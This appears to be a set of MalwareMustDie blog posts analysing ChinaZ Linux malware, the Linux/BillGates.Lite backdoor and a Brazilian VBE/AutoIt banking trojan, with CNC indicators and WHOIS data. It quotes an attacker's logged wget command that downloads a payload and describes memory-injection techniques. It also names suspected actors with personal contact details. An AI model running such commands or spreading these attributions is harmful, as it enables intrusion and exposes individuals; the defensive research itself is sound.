Thank you to friends for uploading these recent samples of IptabLe(s|x) https://t.co/7z3ppi4CxQ https://t.co/5Ve7Xbw0V2 Case: MMD-0025-2014

— MalwareMustDie, NPO (@MalwareMustDie) August 8, 2014

For the questions and comments are welcome. I need more samples of the recent incidents, if you happen to know ones please help to send us the sample via the DropBox link in the right panel in our (this) blog menu. The comment with the sensitive information or privacy will not posted. With thank you in advance.

#MalwareMustDie!

Background

Sorry to keep on saying this, previous posts about ChinaZ are in [-1-] [-2-]. A loy of effort was done to this threat, we grabbed its builder in some CNC we spotted, and we also PoC "a suspected" coder of the ChinaZ malware turned out to be high-schooler 3rd grade in his effort of improving source code of ChinaZ in GitHub DDoSClient repository early in this year, but it seems the real actors is still out there continuing his malicious scheme. And this post is having information that may lead to him.

As team, we must say this post is not so technical, but more to the investigation of one of ChinaZ suspected bad actor, so our apology for some of you may not be interested to read this topic. We also know that many of security folks don't agree on pointing out a suspect in cyber crime for the OPSEC purpose.

However. the information posted here was passed to the authorities and enforcement for more than 10days by now. And the information contains many useful threat indicators that can be used by security entity to mitigate or blocking the infrastructure used, or for the good people in PRC can trace the threat deeper, which are reasons to share it too as per it is.

Infection and malware CNC analysis result

It is (always) started from the HFS panel with the infection distribution of the shellshock. Below is the panel, and the shellshock method is as per previously posted cases detail, nothing new. Thank's @benkow for the information sharing.

The two samples of the ChinaZ are the focus of this post, a pair of the same codes of 32 and 64bit version. Our team mate uploaded and tagged those in virus total in [-1-] and [-2-].

From this part, since the post may be sensitive and may raise conflict in interest, I hereby inform that I am to be personally responsible for what had been investigated and had posted here, not my team.

The binaries are obviously ChinaZ, and it was a bit surprising to know that the sample is still actively communicate to its CNC as per recent tests:

// DNS connection
connect(1, {sa_family=AF_INET, 
            sin_port=htons(53), 
            sin_addr=inet_addr("$DNS")}, 16)
// DNS query formed & replied:
send(1, "\235\210\1\0\0\1\0\0\0\0\0\0\3www\7ddos123\3xyz\0\0\1\0"..., )
recvfrom(1, "\235\210\201\200\0\1\0\1\0\2\0\2\3www\7ddos123\3xyz\0\0\1\0"..., 
// send cnc a mesg used resolved addr..
connect(0, { sa_family=AF_INET, 
             sin_port=htons("29135"), 
             sin_addr=inet_addr("42.51.156.201")}
// Noted this typical ChinaZ msg..
write(2, "Connect:: Operation now in progress"...,)

A curiosity for this CNC authentication made me check it further into socket level to its IP:socket..

// connection trace
TCP MMD.SMACKS.CHINAZ.:43708->42.51.156.201:29135 (ESTABLISHED)
// socket test as CNC PoC...
[42.51.156.201] 29135 (?) open
Connection to 42.51.156.201 29135 port [tcp/*] succeeded!
d

The origin analysis and validity

The DNS request shows a query to a hostname of www.ddos123.xyz and is registered in current DNS record as:

;; ANSWER SECTION:
www.ddos123.xyz.        2518    IN      A       42.51.156.201
;; AUTHORITY SECTION:
ddos123.xyz.            2517    IN      NS      ns1.72dns.com.
ddos123.xyz.            2517    IN      NS      ns2.idc1.cn.
;; ADDITIONAL SECTION:
ns1.72dns.com.          1808    IN      A       101.226.167.174

bailiwick xyz.
count 60
first seen 2015-03-12 07:26:22 -0000
last seen 2015-08-03 07:42:07 -0000
ddos123.xyz. NS ns2.idc1.cn.
ddos123.xyz. NS ns1.72dns.com.

The CNC hostname, is in 42.51.156.201. The local internet service stated the origin of the IP is in below written area:

河南省郑州市 
河南电联通信技术有限公司

"ip": "42.51.156.201",
"hostname": " htuidc.bgp.ip",
"city": "Zhengzhou",
"region": "Henan",
"country": "CN",
"loc": "34.6836,113.5325",
"routes": "42.51.128.0/17",
"org": "AS56005 Henan Telcom Union Technology Co., LTD"

The interesting part is, the hostname (the www pointer) www.ddos123.xyz and domain (the "@" pointer) ddos123.xyz are not pointing to the same IP. I.e. the ddos123.xyz is with A record in 43.249.11.171:

;; ANSWER SECTION:
ddos123.xyz.            3600    IN      A       "43.249.11.171"
;; AUTHORITY SECTION:
ddos123.xyz.            3600    IN      NS      ns1.72dns.com.
ddos123.xyz.            3600    IN      NS      ns2.idc1.cn.
;; ADDITIONAL SECTION:
ns1.72dns.com.          600     IN      A       101.226.167.174

"ip": "43.249.11.171",
"hostname": "No Hostname",
"city": "Qingdao",
"region": "Shandong",
"country": "CN",
"loc": "36.0986,120.3719",
"org": "AS62468 VpsQuan L.L.C."

The registration and some information

Now we can assume to have a valid data: the ddos123.xyz internet domain name belongs to the actor. let's find out who is responsible for this domain's arrangement.

The registration investigation came up with a contact email address of 130128628@qq.com, and additionally linked to below registered domains the in the internet:

zhmr.org 
ddos123.xyz  
ddoscc.xyz

@MalwareMustDie previously we had 8379526@qq.com that leads to mass 103 .XYZ domains for being used by ChinaZ too.. pic.twitter.com/6QZkGFPW1F

— ☩MalwareMustDie (@MalwareMustDie) August 11, 2015

Domain Name:ZHMR.ORG
Domain ID: D173189409-LROR
Creation Date: 2014-07-04T07:27:48Z
Updated Date: 2015-07-05T01:32:50Z
Registry Expiry Date: 2016-07-04T07:27:48Z
Sponsoring Registrar:PDR Ltd. d/b/a PublicDomainRegistry.com (R27-LROR)
Sponsoring Registrar IANA ID: 303
WHOIS Server:
Referral URL:
Domain Status: clientTransferProhibited -- http://www.icann.org/epp#clientTransferProhibited
Domain Status: autoRenewPeriod -- http://www.icann.org/epp#autoRenewPeriod
Registrant ID:DI_37377779
Registrant Name:"hu lu"
Registrant Organization:"hu lu"
Registrant Street: beijingxinchengshishi
Registrant City:xincheng
Registrant State/Province:Beijing
Registrant Postal Code:071800
Registrant Country:CN
Registrant Phone:+86.5555555
Registrant Phone Ext:
Registrant Fax: +86.5555555
Registrant Fax Ext:
Registrant Email:"130128628@qq.com"

Domain Name: DDOS123.XYZ
Domain ID: D7151240-CNIC
WHOIS Server: whois.72dns.com
Referral URL: http://www.72e.net
Updated Date: 2015-06-25T09:27:23.0Z
Creation Date: 2015-03-12T10:27:23.0Z
Registry Expiry Date: 2016-03-12T23:59:59.0Z
Sponsoring Registrar: Foshan YiDong Network Co.LTD
Sponsoring Registrar IANA ID: 1563
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Registrant ID: pi68yf15rg63o3zq
Registrant Name: "wo wo"
Registrant Organization: "wo wo"
Registrant Street: beijingbeijingbeijing
Registrant City: beijing
Registrant State/Province: beijing
Registrant Postal Code: 000101
Registrant Country: CN
Registrant Phone: +86.105801000
Registrant Phone Ext:
Registrant Fax: +86.15121231
Registrant Fax Ext:
Registrant Email: "130128628@qq.com"

Domain Name: DDOSCC.XYZ
Domain ID: D7465669-CNIC
WHOIS Server: whois.72dns.com
Referral URL: http://www.72e.net
Updated Date: 2015-06-25T09:27:24.0Z
Creation Date: 2015-04-06T10:27:24.0Z
Registry Expiry Date: 2016-04-06T23:59:59.0Z
Sponsoring Registrar: Foshan YiDong Network Co.LTD
Sponsoring Registrar IANA ID: 1563
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Registrant ID: 2lkqa4quhzht2pcg
Registrant Name: "wo wo"
Registrant Organization: "wo wo"
Registrant Street: beijingbeijingbeijing
Registrant City: beijing
Registrant State/Province: beijing
Registrant Postal Code: 000101
Registrant Country: CN
Registrant Phone: +86.105801000
Registrant Phone Ext:
Registrant Fax: +86.15121231
Registrant Fax Ext:
Registrant Email: "130128628@qq.com"

After some searching in the internet, it was recorded the QQ account was used in a bulletin board with this profile [link] as a contact information. Below is the screenshots and please noted that I am not accusing anyone with anything (yet) here

This was a posted in December 2014, a request on searching for a source [link]..

He was seeking solution for Linux related problem [link]

interesting tweet discussion regarding to the message posted by the suspected actor:

@nekoworkshop So that is how they call Linux/BillGates is, ref: http://t.co/wC9iUjMNar

— ☩MalwareMustDie (@MalwareMustDie) August 10, 2015

We have internal discussion about posting or not posting this information, but considering only very few people can seek this far, it would be better to post it for other can take a lead for the further step/approach to stop the actor. All of the information was reported, and we will leave to the law enforcement for the next steps..

Epilogue

Good people were collaborated to takedown the used CNC domains:

in process . @MalwareMustDie

— sachin (@essachin) August 11, 2015

ChinaZ actor can kiss his new domains goodbye: http://t.co/Rqh9iuMHoH http://t.co/OSeybbYbT7 thanks @xyz& @essachin rocks! #MalwareMustDie

— ☩MalwareMustDie (@MalwareMustDie) August 12, 2015

The moral of the story is, even if you don't see the other users in real life via internet, it doesn't mean you can abuse them or any machines online and make illegal money by badly utilizing it. It is bad, and every badness in life will come back to you, eventually.

Sample is shared in kernelmode [link]

#MalwareMustDie

Background

There are tweets I posted which are related to this topic. Our team spotted the sample a week ago. And this post is the promised details, I am sorry for the delay for limited resource that we have since for a week I focused to help good people in raising awareness for cleaning up PE malware Dyre/Upatre on router proxies..

Yes. We found a new version of ELF malware, which is originated from Linux/BillGates codes, this ELF was spotted (thank's to Benkow) on what we suspected as ChinaZ actor's web panel, was detected on offensive action to some linux hosts in internet via SSH login bruting attack (which is not eliminating the possibility of "other known" infection methods). The panel is the usual HTTP File Server (HFS) a compact good web server that runs of the windows platform with the limited screenshot below:

Hashes:
62d027a1eb34f642d521b9d11bb52a53
9a104d1c53573f607f94cd47799b260a

These are the ix86 32 bit and 64 bit compiled malware file from the same source code, with the below binary detail:

China: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
Chinaz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.4, not stripped

Under the analysis of it's resource, we can tell this malware was developed with cropping from the original Linux/BillGates sources by eliminating some important parts of the Linux/BillGates like Billing, Gates, Serial, RSA encrypted dropper, internet packet capturing binary module, DNS amplification, and even reducing its known 12 method of flood attacks and other minors parts, to be built as a compact version of its descendant to run as backdoor & serving limited flood attacks after added with several original adjustment and some adoption code from another ELF malware. We call this version as Linux/BillGates.Lite.

As per seen in the file name of the ELF malware file in its panel itself, we all suspecting the actor of ChinaZ is in behind of this malicious scheme.

The overview of Linux/BillGates ELF malware family

This variant of ELF malware can be said as the most popular used one among the malware actors from PRC (People Rep of China) area, for its stability, wide-ranged malicious function implemented and good in management of the user (read = malware actors). We follow the progress of Linux/BillGates from the early stage, it was spotted in many infection, and Linux/BillGates analysis were posted in this blog and several malware research blogs too.

Before this version was spotted we all know the variant of Linux/BillGates as (1) the installer (the full version with big bin one with RSA crypted embed ELF inside) and (2) the backdoor one that sometimes can be spotted in stand alone or embedded in the Linux/BillGates installer. There are also some spin-out versions or older code basis which using the less limited functions in the attack methods or CNC connection.

For raising ELF malware awareness purpose I push in anyway I can think of, one of them is started and contributed a lot of samples from MalwareMustDie team research to the ELF malware research repository in Linux/BillGates section in kernelmode.info (thank's to the mods team of KM who kindly let us use their good forum for this purpose) here-->[link], so if you have interest to see the historical growth of this variant it's all written in there. (PS: with I really hope you can help in contributing more ELF sample too, please support us!)

Based on the experience in handling this malware for a quite while, we can see its differences by comparison of the source code resource used of the Linux/BillGates families as per below picture:

However the old-fashioned Linux/BillGates was designed for infecting a "server"..it's a heavy-weight-fully-weaponized malicious executed binary, not a light-weight one, a bit big in size and consuming resources, which maybe doesn't fit to the trend that the IoT (Internet of Things) that are starting to be aimed by the malware crooks recently, which why I guess is the reason of the Linux/BillGates.Lite version came out as a light-weight version of this variant.

The other reason that our team can think of is.. the actor is The ChinaZ. We keep on hammering this therat and actors with whatever ELF malware they released since day one we spotted them; we exposed, taking down, and reversed each one of their scheme that we can collect, their builder/templates..even their source code development too, which is obviously making this actors aggressively change their malware to keep their bad business running. And recently they're tend not to use their original Linux/ChinaZ ELF anymore but starting to use several other PRC (Read: People Republic of China) basis ELF malware. And it looks like they're on the Linux/BillGates codes now.

The highlights technical report of ELF Linux/BillGates.Lite

1. Thread locking PID is gone..

If you happened to face a Linux/BillGates infection before, you will find the usual drop of codes in the /tmp or /var/tmp with the filename camouflaged as lock file (i.e. gates.lock, etc) which contains the main PID of the malware process that is being used for the malware to stop its process gracefully under many chaos they created in the system, i.e. below snips:

dump of  /tmp/gates.lock
0000000 PID1 PID2
0000004

2. Adaptation of Linux Elknot malware's Fake.cpp source code

The other interesting part is the drop of fake configuration file contains the fake IP address. If you familiar with the Linux/Elknot ELF malware family, the recent version that is widely still used until now is thestripped & packed variant template that they are using in many of latest ELF builder tools. If you reverse those ELF it all has the Fake.cpp in their resources. That is the code that will drop the attack configuration if the ethernet IP address to be use for malicious purpose.

Although it is based on majority Linux/BillGates, the Linux/BillGates.Lite version is adapting the Fake.cpp source code of Linux/Elknot (stripped/packed version), to be used as initial config for performing attack.. Let us trail the assembly code for this mentioned function as per below.

This is the sample, I picked the 32bit one:

You can grep the "Fake"symbols to find the initiate part which is responsible to make the fake file.

Go to the sym._ZN5CFake10InitializeEv and you'll find operation to build this "initial" config file.

The above function overall operation can be traced per linux system calls below:

readlink("/proc/[PID/exe", "/[PATH]/MALWARE", 1024)
open("/[PATH]/MALWARENAME\\xmit.ini", O_RDWR)
unlink("/[PATH]/MALWARENAME\\xmit.ini")
open("/[PATH]/MALWARENAME\\xmit.ini", O_RDWR|O_CREAT|O_TRUNC, 0666)
write(3, "0\r\n192.168.x.xx:192.168.x.xx\r\n10000:60000\r\n\r\n0\r\n0:0:0\r\n", 55)
close(3) 

Which is resulted the dropped file in the executed surectory with hex as per below:

00000000  30 0d 0a 31 39 32 2e 31  36 38 2e 37 2e 32 31 3a  |0..192.168.x.x:|
00000010  31 39 32 2e 31 36 38 2e  37 2e 32 31 0d 0a 31 30  |192.168.x.xx..10|
00000020  30 30 30 3a 36 30 30 30  30 0d 0a 0d 0a 30 0d 0a  |000:60000....0..|
00000030  30 3a 30 3a 30 0d 0a                              |0:0:0..|
00000037

3. Originality of ServerIP.cpp (CNC connect code) combined w/BillGates StatBase.cpp

One interesting original function is spotted in the usage of ServerIP.cpp, in the way of the Linux/BillGates.Lite used in connecting to CNC for sending the statistic data of the victim's PC to "gates" (the botnet software in the actor's host). A hard coded address for the connection is used with the very different way with the overall quality of the well-known Linux/BillGates code used, which is showing different coder, and/or different source code set, with following by the call to the usage of StatBase.cpp (a part of known Linux/BillGates source code set) to send the grabbed statistic sensitive data of the infected system, like CPU info, memory, etc.. to the actor's botnet CNC.
Please see the below explanation in disassembly screenshot for better explanation of the both codes used as illustration.

As per previous method I describe above, a quick "go" to go to ServerIP & StatBase in by grep the ServerIP now & seek its initiation part, if the symbols are there is not that difficult to guess:

You can go from the entry point of the binary itself too, with is in these steps:

So, if you are in the ServerIP.cpp now, at the ServerIP::InitializeEvfunction, then trail down from that address 0x0804f654 the _ZN9CServerIP10InitializeEv function down until meet the PUSH data used for gaining CNC connection IP address string. On the offset of where those string data resides do check the xref of next database called pointer which will lead to the StatBase.cpp function. You can go further to decode the port number used for the CNC connection (which is 6009 in dec) etc.

In this recognition of which trail of functions and symbols goes which source codes and doing what action, I can almost instantly know the modification of the Linux/BillGates source code is not done by the original coder himself, suggesting the actor is whether buying or achieving the Linux/BillGates' code to modify by himself..or/and combining the ancient version of Linux/Elknot source code (maybe a cheap or free one) which was used between 2013 to mid 2014 which is having the similar ServerIP.cpp source file (oh..no..not again..). Yes, I can proof that with grepping sources of the old Linux/Elknot I reversed as can be seen in here-->[link], and that explained why the CNC IP address is un-encrypted.

4. Original CNC Callback

Another proof of the originality of this variant is the CNC data to be sent to CNC that produced by the malware in the form as per picture below. By the time I tested it the CNC was closed so I had to tweak kernel in *sys_call_table on the sys_write [link] interception to reproduce this string:

Which is showing the encryption pattern that hasn't been spotted before in Linux/Elknot nor Linux/BillGates, and not even Linux/ChinaZ too (noted, below data is from my working pad, may not be too precise but is enough to show the pattern) :

You can see & compare look of data above to BillGates, ChinaZ and Elknot CNC traffic as per initial CNC callback snapshot pictures recorded from several cases below:

5. Attack vector..original code undone?

I see the different coded attack source code has been compiled in this variant. This part looks like originally coded, but I don't think the coding is 100% finished yet. The escalation of the code is suggesting an overhaul with the idea of ThreatAtk.cpp of the Linux/BillGates, which in this variant the coder re-coded it into ThreatAttack.cpp and has using a bit of different symbols like these 69 names:

The what it seems to be main attack functions are in below symbols which these are a suspected attacker main main functions, but strange, it hasn't been linked to any code in main management module of _ZN8CManagerC2Ev (CManager::CManager) or other main major management functions.

_ZN13CThreadAttackD2Ev
_ZN13CThreadAttackD1Ev
_ZN13CThreadAttackD0Ev

If you trail it further, you'll find the weaponized functions prepared for attacks are here:

_ZN13CThreadAttack7HttpAtkER8CSubTask
_ZN13CThreadAttack11FakeUserAtkER8CSubTask
_ZN13CThreadAttack6PktAtkER8CSubTaskRSt6vectorIjSaIjEE

There are some more functions exists, please feel free to check it yourself :) I am through with this sample.. I wonder if there any crook out there who would actually buy a "literally" crap like this.. If there is, that person should ask his money back and hunt the ChinaZ actors for scamming :))

5. Dependencies

Nothing is too important in this part, except the smaller size makes the lesser dependencies. This malware is statically compiled, it has many original call for its own file operation (thank's to the Linux/BillGates code used), but this malware is depended on these three libraries:

ld-2.13.so
libc-2.13.so
libnss_files-2.13.so

6. More Linux/BillGates than Linux/Elknot essense

It's interesting to find the combination of several malware code to be used to form a new malware, I wonder what was in the head of ChinaZ actors while building this :) Hence, this threat (ChinaZ) is well known on changing their codes and experimenting on several ELF malware codes.

Anyway, the code and its traces that can be trailed so far is showing the majority parts of this malware are compiled from Linux/BillGates source codes (has original 15 .cpp source codes), there are 3 (three) modified .cpp suspected from Linux/BillGates, and 2 (two) of the Linux/Elknot source codes, it's why we call it as Linux/BillGates.Lite. The picture below can illustrate it well:

And don't get me or our team wrong, we really don't against if there is any antivirus product's signature that is thinking this is an Linux/Elknot since, yes, two source code of Linux/Elknot sources are spotted there anyway. As long as this ELF new malware can be detected, it's really fine with us :)

The threat attack source summary and incident evidence

The SSH attacker: 199.83.94.78

"ip": "199.83.94.78",
"hostname": "unassigned.psychz.net",
"city": "Walnut",
"region": "California",
"country": "US",
"loc": "34.0115,-117.8535",
"org": "AS40676 Psychz Networks",
"postal": "91789"

The CNC: 183.56.173.197

"ip": "183.56.173.197",
"hostname": "No Hostname",
"city": "Guangzhou",
"region": "Guangdong",
"country": "CN",
"loc": "23.1167,113.2500",
"org": "AS58543 Guangdong"

The same attacker IP is also infecting other malware from the same HFS panel in the different session as per shown in the below log:
This log can be used as incident and cyber attack evidence.

The origin of this new ELF threat is suspected related to the previous blog post we released about the ChinaZ which wrote in the last part that the actor is seeking to buy the source code of the Linux/BillGates in Chinese language forum--->[link]

More badness on AS40676 Psychz Networks,USA

The Source of the infection attack is coming from AS40676 Psychz Networks, an IDC in USA. Many previous attacks I reported on ELF infection came from this network, we reported this ASN for over a year with list of the contact ID responsible for each that I could cracked.

The previous ELF incident that came from this ASN, was also using the Linux/BillGates (the backdoor type) was recorded & reported too. The data is as per shown in the below series of snapshots. I hope authority in United States will take down this bad network soon, many countries including mine is suffering from attack coming from this network. I suggest fellow server admins to block this whole ASN for safety purpose if you don't need to have any reason to connect to this network.




In this incident even the malware actors had chance to fix the miss in their code..

More attack logged...

More AS40676 Psychz Networks #USA attacker log 2015-08-20 09:04:26 [session=2128,107.160.75.144] CMD: wget http://107.160. 75.144:1234/qsba

— ☩MalwareMustDie (@MalwareMustDie) August 23, 2015

Samples & Epilogue

The samples are uploaded to the virus total in [x32] and [x64].
For the research purpose I uploaded samples to ElF malware repository in kernelmode-->[link]
The server.dat incident's sample is here-->[link]

A message to #ChinaZ actors-->[link]

#MalwareMustDie!

The background

MalwareMustDie (MMD) today is having the third anniversary. due to this occasion, I wrote this post as the anniversary celebration :) The point is to introduce some methodology in dissecting obfuscated script malware using the real life sample of VBE encoded case with multiple obfuscation. Why I pick this VBE is because the recent raise of the visual basic scripted malware, as in its stand alone VBE, in attached macro of Microsoft Office documents too, so hopefully this writing can share some idea to those who want to know more in how we used to dissect them in MMD. Another reason is to introduce many tools for practical malware analysis that can be performed by everyone who want to start to learn. It's not that difficult, so let's learn it together!

A friend was sending us a VB encoded script (with thank's), he sent me a lot of good samples and I really appreciated. The file named "ContratoAssinar.vbe (4bb9a041ab9cdd8398f95c0dd8a364b0)" and I find it very interesting, so I think I'd better to make some notes here about the way I dissolve it for others who may handle same threat.

The origin of the threat is from South America (to be precise, Brazil), The file looks like coming from an attachment of malvertisement email campaign of the malware. The file name itself is quite popular, with a bit of net surfing will give you good information about the campaign of this malware.

VBE malware script

The malware is encoded using the Microsoft's Scripting.Encoder program, it looks like this:

I tend to use the script provided by the vendor for these purpose so I used this script-->[link] to decode it (the instruction is in that page, it is really really self explanatory) and it was resulted into another partial-obfuscated script as you can see the whole data in the below image:

You will see some area in the above code that I separated them into colors:
The yellow area is the part where this script is to be assured to execute in the right system command & path/file name, it was started in the first line a SUB name that execution the latest part in the overall script.

The red part is the data area where the actual malware script command for the next level is obfuscated, following the red arrow will lead you to the blue area of logic where the data to be final-deobfuscated in the below series of deobfuscation commands.
Orange color part is the part where deobfuscated commands to be executed, and following the blue arrow can lead you to the actual malicious mysterious strings to be executed by the obfuscated malware script.

To understand the flow of obfuscation in several language of programming that I faced so far in MalwareMustDie and facing to obfuscation I tend to discipline myself to follow my own committed rules as per shared below:

1. Make the code to be simplified, beautified, make it easy to you to stare at (I mean..to read)
2. Break the codes into pieces, and comment them, make sure you know how each component works, do not be shy to make many comments, and I make tons of them too, it is for your own good.
3. To securely simulate the code to debug is strongly suggested. Use any compiler/interpreter that helps, if not..use our brain for it by making some notes, in this level in most of the time in heavy obfuscated challenges we must go back to point 1. again, but so be it,do it happily!
4. Do not get frustrated, enjoy the cracking like you are eating ice cream, it will end before you even know it..it's all be solved in time, believe it! When you are in a rush or in some pressure your brain cells can not focus to the decoding effort fully, only when we relax we can fully use those cells, and if you push it hard, your work will not be effective and mistakes will occur. A one little mistake of a single byte will drag you to a time-consuming trouble-shooting debugging later on which will lead you back to square one..and that is mostly how a failure starts, so noted this point number 4 well, PS: this point also goes to the boss/management of the reverse engineers, understand this point well if you want your team to do good work!
5. Write it, don't expect your brain to memorize every work result you do, make it searchable for yourself (or for your team..or others) to be used for later reference, be smart in documenting stuff and manageable, we are educated people not like those crooks who made these craps we decode, we're better than them.

What we learned from the first level decoded VBE script is: The malware coder is trying to hide the path confirmation instruction to trigger execution by SUB-ing the call for executional path in the last part of the script. He also obfuscate another malware script in the stub of variable value to be decoded again by the instruction following that stub, and after that pass the decoded value into execution.

To understand this I just simply replace all of the random-look strings into a dull-like var-x or anything that can differ it to the real code token, you can choose any variable name you like which that is so "you" so you will recognize it instantly. That will help you to recognize the actual malicious logic the malware coder tried to hide it from you. This method is used in most programming language based malicious obfuscation I am working with, I think I've tried and tested it enough, it works in Java(with or without Script)), VB, PHP, Perl or AutoIt malicious obfuscation code that I face for these good three years..and it still works! Even some crooks tried hard to mitigate this method with some silly tricks but that just simply doesn't work, since this is just a simple coding matter. So please remember: "To simplify the code!"

In this case the memo of the above rule and process applied to this sample is as per seen in this pastebin--> [link]
Noted: I tweaked some code so you won't run it in harmful way if you just copy paste and run it, it will burp the garbled code as per below picture :-)

Below is the explanation of the paste and the next steps:
There are two environment that the gods of Windows provide us to deal with visual basic scripting in any machine with wscript.exe and cscript.exe, I use wscript.exe only for checking the break point using Wscript.Echo command to check the variable result. In the paste you will see some of simple breakpoints to check the vital values of the script. As per seen in the below screenshots:

After the breakpoint's debugging lead you to the correct result you would want to copy paste them to a text, in this point you can run the script with the cscript.exe to get the text result in the console as per snapshot below:

The full code is beautified as per below:

Please noted words "nome correto do exe" which means something like "correcting the exe's filename" in Portuguese, that was shown in the new malware code script result after the decoding.

Again we still have to deal with the visual basic script, but all of the code are readable. It's obviously it downloads the zip file from the internet and save it to a certain folder and extracted into %appdata%+random folder name into random filename +.exe extension. The script is neat, it has the originally coded randomize functions and original coded SUBs for downloading the remote file from hard coded IP address of 5.175.145.181 using microsoft.xmlhttp and adodb.stream objects.
To be noted, our payload is a zip file contains the text file that can be viewed in Virus Total in here-->[link] or can be viewed by the picture below:

Noted: If you analyze a malware please drop the idea of WYSIWYG (what you see is what you get), because every appearance that you see was meant to fool you.
Example: this Text File.Isn't it amazing to see that in this era there is still a crook who want victims to download 6Mb of malware unrecognized? Well, here is one of them..

The IP that serves this malware is located in Germany:

"ip": "5.175.145.181",
"hostname": "b9.globalplex.us",
"city": null,
"country": "DE",
"loc": "51.0000,9.0000",
"org": "AS12586 GHOSTnet GmbH"

The AutoIt PE "Banco" banking trojan

A quick check will confirm the badness of this "text" file which is actually is a PE:

I love to use pyew since the day we start MalwareMustDie and thank's to Mr.Joxean Koret to develop it, I just want him to know that I use it all along for three years non stop :-) along with many shell tools I use. It is VERY useful for the UNIX shell that can not be used to compile full binary to run other binary analysis tools since it runs on python. And it has many useful disassembler functions too. Here's the snip of the payload in this story:

In order to find the best way to do it, static analysis is a must. The pescanner is assuring many details for the further reversing purpose:

Just to make sure it's not an false detection I tend to re-check it with the other beloved tool I use, you all know what it is:

For friends with the Wndows OS environment, don't worry! PEStudio can statically analyze this malware very good, take a look of how many indicator was raised an dthe detection of the AutoIt overlay below:

OK, to reverse it, since this is the AutoIt malware, I just prefer to decompile it for the analysis. I use this good tool for it -->[link]
The result is as below, it is bringing us to "another level" of obfuscation :-)

Don't worry. We can go back to our rules above to analyze it properly, with some patience, a good 1 hour and good macro editor you can have a much better view in no time :-)

You can see there some DLL struct scripted for the usage malicious calls of and some PE binaries blobs ( which those are there to be used for the x64 or x32 OS process injection). Please try to decode the AutoIt script by yourself and trail its variable one by one. It's good to see a readable code is it?

I beautified & cleaned the 186+ of obfuscated variables and functions used in this obfuscated decoded source code, so if you want to snip into the result first without taking effort to decode or cleaning nor beautifying code, you can see it in MMD pastebin to see how the malicious operation calls and self PE injection technique and tricks (like there is a thread injection to modify other thread's contents) that were all done by this AutoIt's codes, the link is here-->[link].

How AutoIt can inject memory?

It's a simple way to inject actually, it forms object of DllStruct by the AutoIt programming code, to feed the object with the parameter and hard coded binary data (which are obfuscated) to form several malicious performance, and write it into specific address in the memory. This is the main concept of this AutoIt/PE malware works to infect the victim. Some of the tricks for allowing that action was formed with the preliminary tricks to bypass security. The variable name is telling you which part of process it is being used actually so it is a bit traceable. Frankly speaking I never thought will face this exploitation-like action when seeing this sample in the beginning. But I will make simple explanation below but not too detail yet, since many parts are still being investigated now.

In the pastebin data, for the early injection operation, please watch the value of $var30 and $var120 which are loaded with binary data to be used to perform the injection for running process. I spot the memory writing operation by script is about as per snipped below;

The above snippet code can show you how the memory injection can be perform by this script. The deeper ROP analysis is actually needed to understand the details of this. When fully run, I can see the PE was written in the memory from the source address 0x410DAD and by the VirtualAllocEx symbol calls of system32.dll on base memory 0xE80000 and with the big size (length) PE file:

Also, if you have a tool so trace steps of a process in Windows environment, you will see in steps how the sample is forming injection to the foreign address by injecting itself:

Just for fun, I compiled the first bin loaded to inject to understand what it is, the compilation is the PE with value of binary $var30 string (just for curiosity..I know this will end up to nowhere) that was called by DLLStruct snipped above, so the entry point for reverse engineering of that binary can be "factorized", you can get the sample in here [link] for you to analyze it using any disassembler software. You'll see something like this:

Well, the 0x4001e5 doesn't make any sense to me, and this loopbacks to the main entry. lol :-)So we know this maybe not a shellcode.

Anyway.. please enjoy the further analysis of the calls made from the decoded PE(AutoIt) :-)

Summary of the PE's malicious behavior detected:

Instead the memory inject & thread modification, the other activity of the PE is: The sleep time taken after executed (see the beautified source code), some of the detection of the VM (access to \VBoxMiniRdrDN / VBoxHook.dllU / VMware), it seeks for FWPUCLNT.DLL (windows firewall). Creates registry autostart with changes file view setting of explorer (I don't know what this is for..but there's no good in it) and..

HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced EnableBalloonTips
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{XXX}\InProcServer32

Self rename file extension of itself into .exe
Binding to local INET socket to open & listening port 2038
Mutex: "\BaseNamedObjects\2015.0.11"

Avira\Antivirus\avcenter.exe
Avira\Antivirus\avgnt.exe
\procexp.exe

The callback

The malware is contacting the remote host as CNC in Brazil with IP 187.17.111.103 and sending CNC poke data via a HTTP/1.0 POST, that IP is having a very bad reputation IP-->[link]:below is the evidence:

It is our team's drill to search the fresh CNC information as much as possible to support the work of law process who would like to follow a crime investigation for the case. So in this case too, I extracted some information, so if I may advice..in minimum please do the same for the cases that you spotted.

Lookup result for the domain called:

;; ANSWER SECTION:
hostbemore.com.         1800    IN      A       187.17.111.103

;; AUTHORITY SECTION:
hostbemore.com.         3600    IN      NS      ns1.dominios.uol.com.br.
hostbemore.com.         3600    IN      NS      ns2.dominios.uol.com.br.
hostbemore.com.         3600    IN      NS      ns3.dominios.uol.com.br.

;; ADDITIONAL SECTION:
ns1.dominios.uol.com.br. 3275   IN      A       200.98.199.199
ns2.dominios.uol.com.br. 3275   IN      A       200.221.65.6
ns3.dominios.uol.com.br. 3275   IN      A       200.98.199.204

"ip": "187.17.111.103",
"hostname": "No Hostname",
"city": null,
"country": "BR",
"loc": "-23.5477,-46.6358",
"org": "AS7162 Universo Online S.A."

Domain Name: HOSTBEMORE.COM
Registry Domain ID: 1895096489_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.enom.com
Registrar URL: www.enom.com
Updated Date: 2015-07-07T05:57:31.00Z
Creation Date: 2015-01-10T15:12:00.00Z
Registrar Registration Expiration Date: 2016-01-10T15:12:00.00Z
Registrar: ENOM, INC.
Registrar IANA ID: 48
Registry Registrant ID:
Registrant Name: "ARNALDO BALTAZAR NETO NETO"
Registrant Organization: "SOUZACRUZFERRAGISTA"
Registrant Street: "AV BELA VISTA2
Registrant City: "GOIANIA"
Registrant State/Province:
Registrant Postal Code: "74938110"
Registrant Country: "BR"
Registrant Phone: "+55.6198515323"
Registrant Email: "ARNALDOBALTAZAR@GMAIL.COM"
